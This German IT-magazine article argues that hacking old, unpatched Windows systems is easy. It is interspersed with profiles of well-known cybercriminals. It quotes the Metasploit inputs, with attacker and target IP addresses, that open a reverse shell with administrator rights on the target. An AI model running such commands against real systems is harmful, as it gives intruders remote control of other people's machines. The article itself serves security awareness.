Irrglauben: "Hacking ist kompliziert, da passiert schon nichts!"
Das "Hacking", das unerlaubte und möglichst unbemerkte Eindringen auf einen PC oder in eine Netzwerkstruktur, gilt gemeinhin als "hohe Kunst" in der IT. Hohes technisches Wissen, gepaart mit krimineller Energie, wird den Personen nachgesagt, die sich dem Hacking verschreiben haben.
Wir haben uns einmal selbst daran versucht, ein altes, aber noch produktives Windows NT-System, ohne die passende Erlaubnis und ohne das Wissen der Administrationsberechtigung, über das Netzwerk übernehmen zu wollen. Die Standard-Applikationen für derlei "Penetration Testings" sind Metasploit und Nexpose von Rapid7. Für das Herunterladen, das Aufsetzen der virtuellen Maschine mit Windows Server 2003 Betriebssystem und den ersten Einblick der Software benötigten wir zirka vier Stunden.
Erschreckend einfach: Welche Sicherheitslücken die Software auf einem Zielrechner als "wahrscheinlich" einstuft, gibt Nexpose freizügig aus. In der Konsole von Metasploit mussten wir anschließend lediglich vier Eingaben vornehmen, ehe wir direkt in der Eingabeaufforderung des NT-Rechners landeten. Mit "set PAYLOAD generic/shell_reverse_tcp" wird die gewünschte "Sicherheitslücke" anvisiert, mit "set LHOST 10.117.21.123" definierten wir unsere Maschine als ausführenden Angreifer und mit "set RHOST 10.117.18.104" das Ziel. Das Kommando "exploit" führt den gewünschten Befehl aus und keine zehn Sekunden später konnten wir alle administrativen Befehle auf dem Zielrechner ausführen!
- Der Vater des Blackholing
Der auch als „Paunch“ bekannte Dmitry Fedotov ist weniger als Hacker, denn als Entwickler des Hacker-Tools Blackhole berühmt. Bei Blackhole handelt es sich um eine Art Webanwendung für die Verbreitung von Malware- und Spyware, die Hacker gegen eine Abo-Gebühr von 1500 US-Dollar pro Jahre mieten können - und bis zur Festnahme laufend mit Updates über neue Schwachstellen von Java, Flash oder des Internet Explorer aktualisiert wurde. Der im Oktober 2012 von den russischen Behörden verhaftete Programmierer aus Togliatti soll auch Autor des Cool Exploit-Kits und von Crypt.AM sein. - Der Herrscher der Kreditkarten
Der Juni 2012 in den Niederlanden zusammen mit Vladimir Drinkman verhaftete russische Hacker soll laut Anklageschrift von August 2005 bis Juli 2012 als Mitglied einer Gruppe von fünf Cyberkriminellen im Laufe der Jahre riesige Mengen an Kreditkartendaten gestohlen haben. Zusammen mit Aleksandr Kalinin, Roman Kotov, Mikhail Rytikov und Vladimir Drinkman soll Smilianets vor allem durch SQL Injection Hacks Firmen wie Nasdaq, 7-Eleven Carrefour und J.C. Penny gehackt haben. Insgesamt 160 Millionen Kreditkarten- und Guthabendaten wurden gestohlen und für Finanzbetrug benutzt. Der Schaden für die Firmen soll bei 300 Millionen US-Dollar liegen. Der Prozess in den USA ist noch nicht abgeschlossen. - FBI's most wanted
Evgniy Mikhailovich Bogachev, auch bekannt als lucky12345 und slavik schaffte es 2014 auf den ersten Platz der so genannte „Cyber Most Wanted“-Liste des FBI. Die amerikanischen Behören sehen in ihm den Hintermann des Botnetzes „Gameover Zeus“. Mit Hilfe der gleichnamigen Malware soll er für ein Botnetz von bis zu einer Million Computern verantwortlich sein, das zum Ausspähen von Bank-Passwörtern und Verbreiten von Malware benutzt wurde. Der Schaden betrage etwa hundert Millionen US-Dollar betragen. Bogachev hält sich nach Vermutungen der amerikanischen Behörden in Russland auf. - Der Phishing-Experte
Der Lette Alexey Belan soll zwischen Januar 2012 und April 2013 die Nutzerdaten von einigen Millionen Kunden dreier US-Unternehmen gestohlen haben. Er ist auf der Liste der meistgesuchten Hacker des FBI, der Name der geschädigten Unternehmen ist aber ebenso wenig bekannt, wie die Höhe des Schadens. Es soll sich um drei nicht genannte E-Commerce-Unternehmen aus Nevada und Kalifornien handeln. Da die Belohnung 100.000 US-Dollar beträgt, sollte der Schaden beträchtlich sein.
Das hätte genauso gut ein Windows 2000 oder XP-Computer mit fehlenden Patches sein können, wie das Internet-Video "Shell Root" auf YouTube eindrucksvoll zeigt. Uns geht es bei diesem Hinweis natürlich nicht darum, dem strafrechtlich relevanten "Hacking" Vorschub zu leisten; eher möchten wir Sie als Leser auf diese "reale Gefahr" hinweisen und zeigen, wie leicht es ist, ein solches System zu kompromittieren.